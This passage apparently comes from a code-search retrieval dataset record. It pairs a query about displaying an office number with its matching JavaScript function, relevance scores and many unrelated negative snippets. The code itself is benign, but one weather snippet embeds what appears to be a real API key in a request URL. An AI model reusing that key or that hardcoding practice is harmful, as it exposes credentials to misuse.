location. Try another search.');\n } \n else {\n return response.data\n }\n}", "function getInfo(element) {\n setupDefaultInfo(\n element,\n 'name',\n 'name_en',\n 'category',\n 'phone',\n 'rating',\n 'location',\n 'google_map',\n 'image',\n 'description'\n )\n getIdAndSetupRoute(element)\n}", "function getExtendedInfo() {\r\n _doGet('/node/extended-info');\r\n }", "getAccountInfo() {\n return request(`${this.locationPrefix}/account/info`, 'GET', this.config);\n }", "getMonitorInfo(params, cb) {\n util.getMyWindowIdentifier((myWindowIdentifier) => {\n if (!params.windowIdentifier) {\n params.windowIdentifier = myWindowIdentifier;\n }\n this.routerClient.query(\"Launcher.getMonitorInfo\", params, function (err, response) {\n if (cb) {\n cb(err, response.data);\n }\n });\n });\n }", "function InstitutionName() {\n var instName = abaiData['custrecord_insttn_name'];\n var uniqueName = abaiData['custrecord_uniq_instn_name'];\n return {\n 'custrecord_rc_inst_name': uniqueName ? uniqueName : instName,\n }\n }", "cidInfo(cid) {\n return __awaiter(this, void 0, void 0, function* () {\n return api_1.cidInfo(this, undefined, cid);\n });\n }", "function findCn(ccn, n) {\n\tobj = null;\n\tfor (i = 0; i < cinfo.length; i++) {\n\t\tif (cinfo[i][n] == ccn) {\n\t\t\tobj = cinfo[i];\n\t\t\t///console.log(obj);\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn obj;\n}", "function storeInfo(){\r\n // Meaning of GM Values: (Some of the variable names are in dutch, to stay compatible with older scripts) \r\n //\r\n // DORP (dutch for village): \r\n // id of the current active village. It's 0 when only 1 village is available and does not always accurate.\r\n // \r\n // MARKT (dutch for market):\r\n // an array of length 4 containing the amount of resources currently available for sale on the marketplace. (might often be inaccurate)\r\n //\r\n // PRODUCTIE (dutch for production):\r\n // an array of length 4 containing the production rates of resp. wood, clay, iron and grain. (amount produced per hour)\r\n //\r\n // ALLIANCE:\r\n // dictionary (map) mapping the names of your ally's members to a list of it's villages. \r\n\r\n none = \"0,0,0,0\";\r\n\r\n // Keep track of current city id\r\n x = location.href.match(\"newdid=(\\\\d+)\");\r\n if (x!=null) {\r\n dorp_id=x[1]-0;\r\n GM_setValue(prefix(\"DORP\"),dorp_id);\r\n } else {\r\n dorp_id=GM_getValue(prefix(\"DORP\"),0);\r\n }\r\n\r\n // Store info about resources put on the market if availbale\r\n x = document.getElementById(\"lmid2\");\r\n if (x!=null && x.innerHTML.indexOf(\"\\\"dname\\\"\")>0) {\r\n var res = document.evaluate( \"//table[@class='f10']/tbody/tr[@bgcolor='#ffffff']/td[2]\", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );\r\n \r\n var cnt = new Array(0,0,0,0);\r\n \r\n for ( var i=0 ; i < res.snapshotLength; i++ ){\r\n c = res.snapshotItem(i).textContent - 0;\r\n t = res.snapshotItem(i).firstChild.src.match(\"\\\\d\") - 1;\r\n cnt[t] += c;\r\n }\r\n markt = eval(GM_getValue(prefix(\"MARKT\"), \"{}\"));\r\n if (markt==undefined) markt={};\r\n markt[dorp_id]=cnt;\r\n GM_setValue(prefix(\"MARKT\"), uneval(markt));\r\n }\r\n\r\n // Store info about production rate if available\r\n //function storeProductionRate(){\r\n if (location.href.indexOf(\"dorf1\")>0) {\r\n var res = document.evaluate( \"//div[@id='lrpr']/table/tbody/tr\", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );\r\n var prod = new Array(0,0,0,0);\r\n \r\n for ( var i=0 ; i < res.snapshotLength; i++ ){\r\n c = res.snapshotItem(i).childNodes[4].firstChild.textContent.match(\"-?\\\\d+\") - 0;\r\n t = res.snapshotItem(i).childNodes[1].innerHTML.match(\"\\\\d\")[0] - 1;\r\n prod[t] += c;\r\n }\r\n productie = eval(GM_getValue(prefix(\"PRODUCTIE\"), \"{}\"));\r\n if (productie==undefined) productie={};\r\n productie[dorp_id]=prod;\r\n GM_setValue(prefix(\"PRODUCTIE\"), uneval(productie));\r\n }\r\n\r\n // Load ally data\r\n //function captureAllianceData(){\r\n try {\r\n ally = eval(GM_getValue(prefix(\"ALLIANCE\"), \"{}\"));\r\n if (ally==undefined) ally = {};\r\n } catch (e) {\r\n alert(e);\r\n ally = { };\r\n } \r\n if (ally==undefined) ally2={};\r\n\r\n // Store list of your alliance members.\r\n if (location.href.indexOf(\"allianz\")>0 && location.href.indexOf(\"s=\")<0) {\r\n var res = document.evaluate( \"//td[@class='s7']/a\", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );\r\n if (res.snapshotLength>0) {\r\n ally2= ally;\r\n ally = {}\r\n for ( var i=0 ; i < res.snapshotLength; i++ ){\r\n x = res.snapshotItem(i);\r\n name = x.textContent;\r\n id = x.href.match(\"\\\\d+\")[0];\r\n cnt = x.parentNode.parentNode.childNodes[5].textContent;\r\n if (ally2[name] != undefined) {\r\n y = ally2[name];\r\n y[0] = id;\r\n y[1] = cnt;\r\n ally[name] = y;\r\n } else {\r\n // [id, pop, {city1: [city1,x,y],city2: [city2,x,y],...} ]\r\n ally[name] = [id, cnt, {}];\r\n }\r\n }\r\n GM_setValue(prefix(\"ALLIANCE\"), uneval(ally));\r\n }\r\n } \r\n\r\n // Get alliance member data\r\n if (location.href.indexOf(\"spieler\")>0) {\r\n who = document.body.innerHTML.match(\"<td class=\\\"rbg\\\" colspan=\\\"3\\\">[A-Z][a-z]+ ([^<]+)</td>\");\r\n if (who) {\r\n who = who[1];\r\n if (ally[who] != undefined || who == USERNAME) {\r\n var res = document.evaluate( \"//td[@class='s7']/a\", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );\r\n cities = {};\r\n for ( var i=0 ; i < res.snapshotLength; i++ ){\r\n x = res.snapshotItem(i);\r\n name = x.textContent;\r\n y = x.parentNode.parentNode.childNodes[4].textContent.match(\"\\\\((-?\\\\d+)\\\\|(-?\\\\d+)\\\\)\");\r\n y[0] = name;none = \"0,0,0,0\";\r\n\r\n y[1] -= 0;\r\n y[2] -= 0;\r\n cities[name] = y;\r\n }\r\n if (ally[who]==undefined) ally[who]=[0,0,{}];\r\n ally[who][2] = cities;\r\n GM_setValue(prefix(\"ALLIANCE\"), uneval(ally));\r\n }\r\n }\r\n }\r\n }", "function execute() {\n return gapi.client.civicinfo.representatives.representativeInfoByAddress({\n \"address\": address_string,\n \"levels\": null,\n \"roles\": null,\n \"resource\": {}\n })\n .then(function(response) {\n // Handle the results here (response.result has the parsed body).\n console.log(\"Response\", response);\n var response_string = '';\n \n var titles = [];\n var offices = response['result']['offices'];\n for (var o = 0; o < offices.length; o++) {\n var name = offices[o].name\n var indices = offices[o].officialIndices;\n for (var i = 0; i < indices.length; i++) {\n titles[indices[i]] = name;\n }\n }\n \n var officials = response['result']['officials'];\n for (var i = 0; i < officials.length; i++) {\n response_string += '<div class=\"official\">';\n response_string += '<img src=\"';\n response_string += (officials[i].photoUrl ? officials[i].photoUrl : 'http://weclipart.com/gimg/23A2EDFA79A2ACFB/d2c2d56d3d11841dad53415e78524f89.jpg');\n response_string += '\" />';\n response_string += '<h3>' + officials[i].name + '</h3>';\n response_string += '<h4>' + titles[i] + '</h4>';\n if (officials[i].emails) {\n response_string += '<div class=\"email\"><a href=\"mailto:' + officials[i].emails[0] + '\">Email</a></div>';\n }\n if (officials[i].phones) {\n response_string += '<div class=\"phone\"><a href=\"tel:' + officials[i].phones[0] + '\">' + officials[i].phones[0] + '</a></div>';\n }\n if (officials[i].urls) {\n response_string += '<div class=\"url\"><a href=\"' + officials[i].urls[0] + '\" target=\"_blank\">Website</a></div>';\n }\n response_string += '</div>';\n }\n \n // $('#response').html(JSON.stringify(response['result']['officials'][0]));\n $('#response').html(response_string);\n }, function(error) {\n console.error(\"Execute error\", error);\n });\n }", "function EnalyzerClientInformation() {\n this.BrowserIsInternetExplorer = false;\n this.BrowserIsMozilla = false;\n this.BrowserIsMozillaNN4 = false;\n this.BrowserIsMozillaNN6 = false;\n this.BrowserIsOpera = false;\n\n this.BrowserVersion;\n this.ClientPageWidth;\n this.ClientPageHeight;\n this.ClientPageTopOffset;\n this.ClientPageLeftOffset;\n\n this.ClientInfoString;\n\n\n //Browser identification~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n if (navigator.appName == 'Microsoft Internet Explorer') {\n this.BrowserIsInternetExplorer = true;\n }\n\n if (navigator.appName == 'Netscape') {\n this.BrowserIsMozilla = true;\n\n if (document.layers) {\n this.BrowserIsMozillaNN4 = true;\n }\n\n if (document.getElementById) {\n this.BrowserIsMozillaNN6 = true;\n }\n }\n\n if (window.opera) {\n this.BrowserIsOpera = true;\n }\n //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n //\n this.BroswerVersion = parseInt(navigator.appVersion);\n\n\n //Page information~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n //Width\t \n if (this.BrowserIsInternetExplorer) {\n this.ClientPageWidth = document.body.offsetWidth + 20;\n }\n else if (this.BrowserIsMozilla) {\n //this.ClientPageWidth = window.innerWidth;\n this.ClientPageWidth = document.body.clientWidth;\n }\n\n //Height\n if (this.BrowserIsInternetExplorer) {\n this.ClientPageHeight = document.body.offsetHeight;\n } else if (this.BrowserIsMozilla) {\n //this.ClientPageHeight = window.innerHeight;\n this.ClientPageHeight = document.body.clientHeight;\n }\n\n //Top offset\n if (this.BrowserIsInternetExplorer) {\n this.ClientPageTopOffset = document.body.scrollTop;\n } else if (this.BrowserIsMozilla) {\n this.ClientPageTopOffset = window.pageYOffset;\n }\n\n //Left offset\n if (this.BrowserIsInternetExplorer) {\n this.ClientPageLeftOffset = document.body.scrollLeft;\n } else if (this.BrowserIsMozilla) {\n this.ClientPageLeftOffset = window.pageXOffset;\n }\n //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n ComposeClientInfoString(this);\n\n function ComposeClientInfoString(classRef) {\n\n classRef.ClientInfoString = 'BrowserIsInternetExplorer: ' + classRef.BrowserIsInternetExplorer + \"\\n\";\n classRef.ClientInfoString = classRef.ClientInfoString + 'BrowserIsMozilla: ' + classRef.BrowserIsMozilla + \"\\n\";\n classRef.ClientInfoString = classRef.ClientInfoString + 'BroswerVersion: ' + classRef.BroswerVersion + \"\\n\";\n\n classRef.ClientInfoString = classRef.ClientInfoString + 'ClientPageWidth: ' + classRef.ClientPageWidth + \"\\n\";\n classRef.ClientInfoString = classRef.ClientInfoString + 'ClientPageHeight: ' + classRef.ClientPageHeight + \"\\n\";\n classRef.ClientInfoString = classRef.ClientInfoString + 'ClientPageTopOffset: ' + classRef.ClientPageTopOffset + \"\\n\";\n classRef.ClientInfoString = classRef.ClientInfoString + 'ClientPageLeftOffset: ' + classRef.ClientPageLeftOffset + \"\\n\";\n }\n}", "function getClueInfo(desc, loc){\n var clue = {\n 'description': $(desc).val(),\n 'gps coordinates': $(loc).val() \n }\n if (clue['description'] == '' || clue['gps coordinates'] == ''){\n return 'error';\n }\n return JSON.stringify(clue);\n}", "get info() {\n switch (this.ci) {\n case 'github':\n return this.vars.PERCY_GITHUB_ACTION ? `github/${this.vars.PERCY_GITHUB_ACTION}` : this.ci;\n case 'gitlab':\n return `gitlab/${this.vars.CI_SERVER_VERSION}`;\n case 'semaphore':\n return this.vars.SEMAPHORE_GIT_SHA ? 'semaphore/2.0' : 'semaphore';\n default:\n return this.ci;\n }\n }", "function getInfo(id){\r\n\tif (id == \"default\" || id == null){\r\n\t\tid = \"hatsportletid\";\r\n\t}\r\n\tvar ret = new Info(null,false,null,id);\r\n\treturn (ret);\r\n}", "function getMiningInfo() {\n return new Promise((resolve, reject) => {\n var response;\n multichain.getMiningInfo({\n\n },\n (err, res) => {\n console.log(res)\n if (err == null) {\n return resolve({\n response: res,\n message: \"Blockchain Information\"\n });\n } else {\n console.log(err)\n return reject({\n status: 500,\n message: 'Internal Server Error !'\n });\n }\n }\n )\n })\n}", "getLocationInfo(){\n return this.map.getLocationInfo();\n }", "function getLocCode() {\r\n\tplayerLocCode = playerDetails.locCode;\r\n}", "function getDetail(callback){\n Promise.all(['name', 'deposit', 'payout', 'balance', 'registered', 'attended'].map(attributeName => {\n return contract[attributeName].call();\n })).then(values => {\n var detail = {\n 'name': values[0],\n 'deposit': values[1],\n 'payout': values[2],\n 'balance': values[3],\n 'registered': values[4],\n 'attended': values[5],\n 'contractBalance': web3.fromWei(web3.eth.getBalance(contract.address), \"ether\").toNumber()\n }\n\n if(detail.registered.toNumber() > 0 && detail.attended.toNumber() > 0 && detail.payout.toNumber() > 0){\n detail.canPayback = true\n }\n if(detail.registered.toNumber() > 0 && detail.attended.toNumber() > 0 && detail.payout.toNumber() == 0){\n detail.canReset = true\n }\n if(!detail.canReset){\n detail.canRegister = true\n }\n\n callback(detail);\n })\n}", "function recupInfosVille(place) { \n\tvar infosVilleStruct = {\n\t\t\tlocality: 'long_name',\n\t\t\tcountry: 'long_name',\n\t\t\tpostal_code: 'long_name'\n\t};\n\n\tvar infosVille = {};\n\n\tfor (var i = 0; i < place.address_components.length; i++) {\n\t\tvar addressType = place.address_components[i].types[0];\n\t\tif (infosVilleStruct[addressType]) {\n\t\t\tinfosVille[addressType] = place.address_components[i][infosVilleStruct[addressType]];\n\t\t}\n\t}\n\treturn infosVille;\n}", "async function getPlaceDetails(Place) {\n // Use place ID to create a new Place instance.\n const place = new Place({\n id: \"ChIJN1t_tDeuEmsRUsoyG83frY4\",\n requestedLanguage: \"en\", // optional\n });\n\n // Call fetchFields, passing the desired data fields.\n await place.fetchFields({ fields: [\"displayName\", \"formattedAddress\"] });\n // Show the result\n console.log(place.displayName);\n console.log(place.formattedAddress);\n}", "async getPatientListing() {\n console.log(\"Entering getPatientListing()\");\n let patientListingAddressKidney = hash(FAMILY_NAME).substr(0, 6) + '00' + 'aa';\n let patientListingAddressHeart = hash(FAMILY_NAME).substr(0, 6) + '00' + 'bb';\n let patientListingAddressLiver = hash(FAMILY_NAME).substr(0, 6) + '00' + 'cc';\n return this.getStatePatient(patientListingAddressKidney, patientListingAddressHeart, patientListingAddressLiver, true);\n }", "function getInfo() {\n fetch(TRAINERS_URL)\n .then(response => response.json())\n .then(json => makeCard(json.data))\n}", "function fetchSiteInfo() {\n return services_info.fetchInfo().then(function (info) {\n src_reactor[\"a\" /* default */].dispatch(SITE_RECEIVE_INFO, info);\n });\n}", "async function getWeatherDetails() {\n\n // Hit the weather API\n const weatherApiUrl = 'https://api.openweathermap.org/data/2.5/forecast/daily?q=totnes&units=metric&cnt=1&appid=d94bcd435b62a031771c35633f9f310a';\n const weatherResult = await logFetch(weatherApiUrl);\n\n // Update the temp\n const weatherTemperature = weatherResult.list[0].temp;\n temperature.innerHTML = weatherTemperature.day + ' ° C';\n\n // Update the icon\n weatherIcon.innerHTML = mapWeatherIcon(weatherResult.list[0].weather[0].id);\n}", "function get_infomation_for_control (where) {\n\tvar sql = 'SELECT * FROM test_session WHERE id =?';\n\tconnection.query(sql, [where], function(err, result) {\n\t\tif (err) {\n\t\t\tconsole.log('DB ERROR: check the sql');\n\t\t\tconsole.log(err);\n\t\t}\n\t\tvar information = {\n\t\t\tpin: result[0].pin,\n\t\t\tauth: result[0].authorization,\n\t\t\tvID: result[0].vehicleID,\n\t\t\tuID: result[0].kakao_info\n\t\t};\n\t})\n\treturn information;\n}", "function exInfos() { //returns JSON of exchange info\r\n return {\r\n version: ccxt.version,\r\n exchange: exchange.name,\r\n url: exchange.urls.www,\r\n referral: exchange.urls.referral,\r\n feeMaker: exchange.fees.trading.maker,\r\n feeTaker: exchange.fees.trading.taker,\r\n exchanges: ccxt.exchanges,\r\n markets: exchange.symbols\r\n }\r\n}", "function get_authorized_to_represent_names_and_nmls(){\n\tlet atr_string = get_authorized_to_represent()\n\tlet atr_strings = atr_string.split('; ')\n\tconsole.log(\"atr_string: \", atr_string)\n\tconsole.log(\"atr_strings:\", atr_strings)\n\t\n\tlet company_names = []\n\tlet nmls_ids = []\n\n\tatr_strings.forEach( \n\t\t(atr) => {\n\t\t\tlet o_parenthesis_index = atr.indexOf('(')\n\t\t\tlet c_parenthesis_index = atr.indexOf(')')\n\t\t\tlet company_name = atr.substring(0, o_parenthesis_index).trim()\n\t\t\tlet nmls_id = atr.substring(o_parenthesis_index+1, c_parenthesis_index)\n\t\t\tcompany_names.push(company_name)\n\t\t\tnmls_ids.push(nmls_id)\n\t\t}\n\t);\n\n\tconsole.log(\"company_names: \" , company_names)\n\tconsole.log(\"nmls_ids:\", nmls_ids)\n\n\treturn [company_names, nmls_ids]\n}", "function getNetworkInformation(){\n\tvar JSON = \"{\\\"networkValue\\\": \" + totalNetworkValue\n\t\t+ \",\\n\\\"flowInto\\\": [\";\n\n\tvar rootFlowInto = riverNetwork.root.val;\n\tfor(var i = 0; i < riverNetwork.root.neighbors.length; i++){\n\t\tvar curNode = riverNetwork.getNodeIdByLabel(riverNetwork.root.neighbors[i]);\n\t\trootFlowInto += alphaToParent[curNode]\n\t\t\t* riverNetwork.getDirectedProbabilityByIds(curNode,riverNetwork.root.nodeId);\n\t}\n\n\tJSON+=\"[\\\"\" + riverNetwork.root.nodeLabel + \"\\\",\" + rootFlowInto + \"],\";\n\n\tfor(var i = 0; i<riverNetwork.numNodes -1; i++){\n\t\tvar curAlphaVal = alphaToParent[i] + alphaFromParent[i]*\n\t\t\triverNetwork.getDirectedProbabilityByIds(parentId[i],i);\n\t\tvar curLabel = riverNetwork.getNodeLabelById(i);\n\t\tJSON+= \"[\\\"\" + curLabel + \"\\\",\"+ curAlphaVal+\"]\";\n\t\tif(i!=riverNetwork.numNodes -2){\n\t\t\tJSON += \",\";\n\t\t}\n\t}\n\n\tvar rootFlowOut = riverNetwork.root.val;\n\tfor(var i = 0; i < riverNetwork.root.neighbors.length; i++){\n\t\tvar curNode = riverNetwork.getNodeIdByLabel(riverNetwork.root.neighbors[i]);\n\t\trootFlowOut += betaToParent[curNode]\n\t\t\t* riverNetwork.getDirectedProbabilityByIds(riverNetwork.root.nodeId, curNode);\n\t}\n\n\tJSON += \"],\\n\\\"flowOut\\\": [\";\n\n\tJSON +=\"[\\\"\" + riverNetwork.root.nodeLabel + \"\\\",\" + rootFlowOut + \"],\";\n\n\tfor(var i = 0; i<riverNetwork.numNodes -1; i++){\n\t\tvar curBetaVal = betaToParent[i] + betaFromParent[i]*\n\t\t\triverNetwork.getDirectedProbabilityByIds(i, parentId[i]);\n\t\tvar curLabel = riverNetwork.getNodeLabelById(i);\n\t\tJSON+= \"[\\\"\" + curLabel + \"\\\",\"+ curBetaVal+\"]\";\n\t\tif(i!=riverNetwork.numNodes -2){\n\t\t\tJSON += \",\";\n\t\t}\n\t}\n\n\tJSON += \"]}\";\n\n\treturn JSON;\n}", "info() {}", "info() {}", "function info() {\n return client\n .zcardAsync(board)\n .then(function(card) {\n return Promise.resolve({\n totalMembers: card\n });\n });\n }", "function GetMinerICOData(ico_id) {\n rig_wars_contract.GetMinerICOData.call(account, ico_id, { from: account }, function (err, ress) {\n if (!err) {\n if (typeof ress[0] != 'undefined') {\n game.ico_personal_fund = ress[0].toNumber();\n game.ico_personal_share = ress[1].toNumber();\n game.ico_personal_lastclaim = ress[2].toNumber();\n\n console.log(\"ICO cycle: \" + game.ico_cycle + \"Last claim: \" + game.ico_personal_lastclaim)\n\n GetMinerUnclaimedICOShare();\n }\n }\n else {\n console.log(\"No ico invested\");\n }\n });\n\n}", "function fetchCurrentAddressAuthStatus(address) {\n\tvar request = new XMLHttpRequest();\n\tvar reqString = '/explorer/authcoin/status?addr=' + address;\n\trequest.open('GET', reqString, false);\n\trequest.send();\n\tif (request.status != 200) {\n\t\treturn 'error';\n\t}\n\tresp = JSON.parse(request.responseText) || {};\n\tconsole.log(resp)\n\treturn (resp.auths && resp.auths.length === 1 && resp.auths[0]) || false;\n}", "function PullInfo(cc2) {\n\tcc2 = cc2.toUpperCase();\n\tvar obj = findCn(cc2, \"cca2\");\n\n\t$('#countryName').html(obj[\"name\"][\"common\"]);\n\t$('#cca2').html(obj[\"cca2\"]);\n\t$('#cca3').html(obj[\"cca3\"]);\n\t$('#tld').html(obj[\"tld\"]);\n\n\ttmp = \"\"\n\tfor (i = 0; i < obj[\"currency\"].length; i++) {\n\t\ttmp += obj[\"currency\"][i] + \" \"\n\t}\n\t$('#currency').html(tmp);\n\ttmp = \"\"\n\tfor (i = 0; i < obj[\"callingCode\"].length; i++) {\n\t\ttmp += \"+\" + obj[\"callingCode\"][i].toString();\n\t}\n\t$('#callingCode').html(tmp);\n\t$('#capital').html(obj[\"capital\"]);\n\t$('#region').html(obj[\"region\"]);\n\t$('#subregion').html(obj[\"subregion\"]);\n\n\ttmp = \"\";\n\n\tif (obj[\"latlng\"][1] < 0)\n\t\ttmp += Math.abs(obj[\"latlng\"][1]).toString() + \" &deg;S, \";\n\telse\n\t\ttmp += Math.abs(obj[\"latlng\"][1]).toString() + \" &deg;N, \";\n\tif (obj[\"latlng\"][0] < 0)\n\t\ttmp += Math.abs(obj[\"latlng\"][0]).toString() + \" &deg;W \";\n\telse\n\t\ttmp += Math.abs(obj[\"latlng\"][0]).toString() + \" &deg;E \";\n\n\t$('#latlng').html(tmp);\n\t$('#demonym').html(obj[\"demonym\"]);\n\t$('#landlocked').html(obj[\"landlocked\"].toString());\n\n\ttmp = \"\";\n\t//console.log(obj[\"borders\"].length);\n\tfor (k = 0; k < obj[\"borders\"].length; k++) {\n\t\tobjx = findCn(obj[\"borders\"][k], \"cca3\")\n\t\tif (k < obj[\"borders\"].length - 1)\n\t\t\ttmp += objx[\"name\"][\"common\"] + \", \";\n\t\telse\n\t\t\ttmp += objx[\"name\"][\"common\"];\n\n\t}\n\t$('#border').html(tmp);\n\t$('#area').html(obj[\"area\"].toString() + \"km<sup>2</sup>\");\n\n}" ]
[ "0.6458689", "0.63419855", "0.6094727", "0.60716", "0.6056564", "0.59012026", "0.5692792", "0.5656209", "0.56543493", "0.56228566", "0.55908144", "0.55784994", "0.5515727", "0.5485565", "0.5459995", "0.54313046", "0.540819", "0.54064846", "0.54037267", "0.5400778", "0.53895235", "0.538495", "0.53558147", "0.5343508", "0.5315956", "0.5312125", "0.528852", "0.52800447", "0.5266599", "0.525002", "0.5248296", "0.5248296", "0.52448314", "0.5240715", "0.5225701", "0.5223687", "0.5219058", "0.5213606", "0.5203113", "0.51916444", "0.51887226", "0.5184052", "0.517048", "0.5155834", "0.5143059", "0.51244473", "0.51163137", "0.511495", "0.51069623", "0.51066947", "0.50994116", "0.5098644", "0.5091842", "0.50883394", "0.5087443", "0.50864744", "0.50844395", "0.5082621", "0.5075283", "0.50746423", "0.50721306", "0.5069639", "0.5069639", "0.5063772", "0.5056428", "0.5053947", "0.5051799", "0.5049841", "0.5049725", "0.504491", "0.50423115", "0.504132", "0.5040496", "0.5034013", "0.5027898", "0.5023794", "0.5018282", "0.5012635", "0.5001258", "0.49979267", "0.49958614", "0.4994993", "0.49931306", "0.4992289", "0.49915478", "0.49895787", "0.4987812", "0.49867624", "0.49856493", "0.49836683", "0.4977935", "0.49737775", "0.4968324", "0.4967799", "0.49584305", "0.49547055", "0.49547055", "0.4947083", "0.4946454", "0.4941857", "0.49410355" ]
0.0
-1
Function to conditionally display office number
function displayOfficeNumber(number) { return ` <li class="list-group-item p-4"><span class="text-muted">Number:</span> ${number}</li> ` }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "getOfficeNum() {\n console.log(this.officeNum);\n return this.officeNum;\n }", "getOfficeNumber() {\n return this.officeNumber;\n }", "getOfficeNumber() {\n return this.officeNumber;\n }", "getOfficeNumber(){\n return this.officeNumber;\n }", "getOfficeNumber(){\n return this.officeNumber;\n }", "getDisplayNumber(number) {\n return number;\n }", "function get_office_location(){\n\n}", "function displayHelper (num) {\n if (num < 10) {\n return '0' + num.toString()\n } else {\n return num.toString()\n }\n }", "function oNumber() {\n\t\tvar o_no = $('#office_no').val();\n\n\t\tif (o_no === '') {\n\t\t\t$('#alert_officePhone').text('This field cannot be empty');\n\t\t\tsetTimeout(function () {\n\t\t\t\t$('#alert_officePhone').text('');\n\t\t\t}, 7000);\n\t\t\treturn false;\n\t\t} else if (isNaN(o_no)) {\n\t\t\t$('#alert_officePhone').text('please enter digits only');\n\t\t\tsetTimeout(function () {\n\t\t\t\t$('#alert_officePhone').text('');\n\t\t\t}, 7000);\n\n\t\t\treturn false;\n\t\t} else if (o_no.length > 10 || o_no.length < 10) {\n\t\t\t$('#alert_officePhone').text('please enter 10 digits only');\n\t\t\tsetTimeout(function () {\n\t\t\t\t$('#alert_officePhone').text('');\n\t\t\t}, 7000);\n\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "getDisplayNumber(num) {\n const stringNumber = num.toString()\n const integerDigits = parseFloat(stringNumber.split('.')[0])\n const decimalDigits = stringNumber.split('.')[1]\n let integerDisplay\n if (isNaN(integerDigits)) {\n integerDisplay = ''\n } else {\n integerDisplay = integerDigits.toLocaleString('ES', { maximumFractionDigits: 0 })\n }\n if (decimalDigits != null) {\n return `${integerDisplay}.${decimalDigits}`\n } else {\n return integerDisplay\n }\n }", "function displayOfficeInfo() {\n document.getElementById('footer-info').innerHTML = `\n <p>\n Hours: <br>\n ${open} - ${close}, Monday to Friday <br>\n <br>\n Address: <br>\n ${street} <br>\n ${city} ${state}, ${zip}\n </p>`;\n}", "function showInfoNumber() {\n\t\tvar option = '';\n\t\tif (!objSoftphone.callOutNumberSelected) {\n\t\t\t$(objSoftphone.callOutNumber).each(function (k, v) {\n\t\t\t\tvar checked = '';\n\t\t\t\tif (objSoftphone.callOutNumber[0] === 0) {\n\t\t\t\t\tchecked = \"<span class='checked'><img src='images/checked.svg' ></span>\";\n\t\t\t\t\tupdateNumberSelected(v);\n\t\t\t\t}\n\t\t\t\toption += \"<div class='phone-option' data-phone='\" + v + \"'>\" + checked + v + \"</div>\";\n\t\t\t})\n\t\t} else {\n\t\t\t$(objSoftphone.callOutNumber).each(function (k, v) {\n\t\t\t\tvar checked = '';\n\t\t\t\tif (v == objSoftphone.callOutNumberSelected) {\n\t\t\t\t\tchecked = \"<span class='checked'><img src='images/checked.svg' ></span>\";\n\t\t\t\t\tupdateNumberSelected(v);\n\t\t\t\t}\n\t\t\t\toption += \"<div class='phone-option' data-phone='\" + v + \"'>\" + checked + v + \"</div>\";\n\t\t\t});\n\t\t}\n\n\t\t$('#phoneLogged').html(objSoftphone.phone);\n\t\t$('.panel-number-selector-popup .phone-option').remove();\n\t\t$('.panel-number-selector-popup').append(option);\n\t\t$('.panel-number-selector .select-number p').html(getNumberSelected());\n\t}", "phoneNumberSummary (item, index) {\n let number = i18n.t('identification.contacts.collection.summary.unknown')\n if (item.Telephone && !item.noNumber && item.Telephone.number) {\n number = item.Telephone.number\n }\n\n return (\n <div className=\"table\">\n <div className=\"table-cell index\">{i18n.t('identification.contacts.collection.summary.phoneNumber')} {index + 1}:</div>\n <div className=\"table-cell\"><strong>{number}</strong></div>\n </div>\n )\n }", "function customed_display(enddate) {\n var add_one = enddate.slice(-2)\n add_one = Number(add_one)-1\n add_one = add_one + ''\n\n if (add_one.length == 1) {\n add_one = '0' + add_one\n }\n\n return enddate.slice(0, -2) + add_one\n}", "getInternational() {\r\n return this.phoneNumber.replace(/^(0)(\\d{8,9})$/, '972$2');\r\n }", "function getDisplayNumber(number){\n const stringNumber = number.toString(); //complete number turned into string\n const integerDigits = parseFloat(stringNumber.split('.')[0]); //integer part separated\n const decimalDigits = stringNumber.split('.')[1];//decimal part separated\n let integerDisplay; //variable to store number to be displayed in the end\n //if integerDigits is not a number - display integer blank\n if (isNaN(integerDigits)) {\n integerDisplay = '';\n } else { // else convert number into string\n integerDisplay = integerDigits.toLocaleString('en', { maximumFractionDigits: 0 })\n }\n //if decimalDigits is some value join it with integerDisplay\n if (decimalDigits != null) {\n return `${integerDisplay}.${decimalDigits}`\n } else { //else show integerDisplay as it is\n return integerDisplay\n }\n}", "getDisplayValue( number ) {\n const stringValue = number.toString(),\n integerValue = parseFloat( stringValue.split( '.' )[0] ), //before '.' value\n decimalValue = stringValue.split( '.' )[1] ; //after '.' value\n let display ;\n if ( isNaN( integerValue ) ) {\n display = '' ;\n } else {\n display = integerValue.toLocaleString( 'en' , {maximumFractionDigits : 0 }); //set an ',' separate value.\n }\n if ( decimalValue != null ) {\n return `${display}.${decimalValue}` ; // return the Value\n } else {\n return display ; // return the Value\n }\n }", "function getHonorific() {\n return getTitle() + street;\n\n}", "function formatEINNo (EINNo)\n{\n // If it's blank, save yourself some trouble by doing nothing.\n if (EINNo.value == \"\") return;\n\n \n\n var phone = new String (EINNo.value);\n \n phone = phone.substring(0,10);\n\n /*\n \".\" means any character. If you try to use \"(\" and \")\", the regular expression becomes \n complicated sice both are reserve characters and escaping them sometimes fails. So just \n use \".\" for any character and replace it later.\n */\n if (phone.match (\"[0-9]{2}-[0-9]{7}\") == null)\n {\n \n if (phone.match (\"[0-9]{2}-[0-9]{7}|\" + \"[0-9]-[0-9]{7}\") == null)\n {\n /*\n You will reach here only if the user is still typing the number or if he/she has \n messed up already formatted number. \n */\n var phoneNumeric = phoneChar = \"\", i;\n // Loop thru what user has entered.\n for (i=0;i<phone.length;i++)\n {\n // Go thru what user has entered one character at a time.\n phoneChar = phone.substr (i,1);\n \n // If that character is not a number or is a White space, ignore it. Only if it is a digit, \n // concatinate it with a number string.\n if (!isNaN (phoneChar) && (phoneChar != \" \")) phoneNumeric = phoneNumeric + phoneChar;\n }\n \n phone = \"\";\n // At this point, you have picked up only digits from what user has entered. Loop thru it.\n for 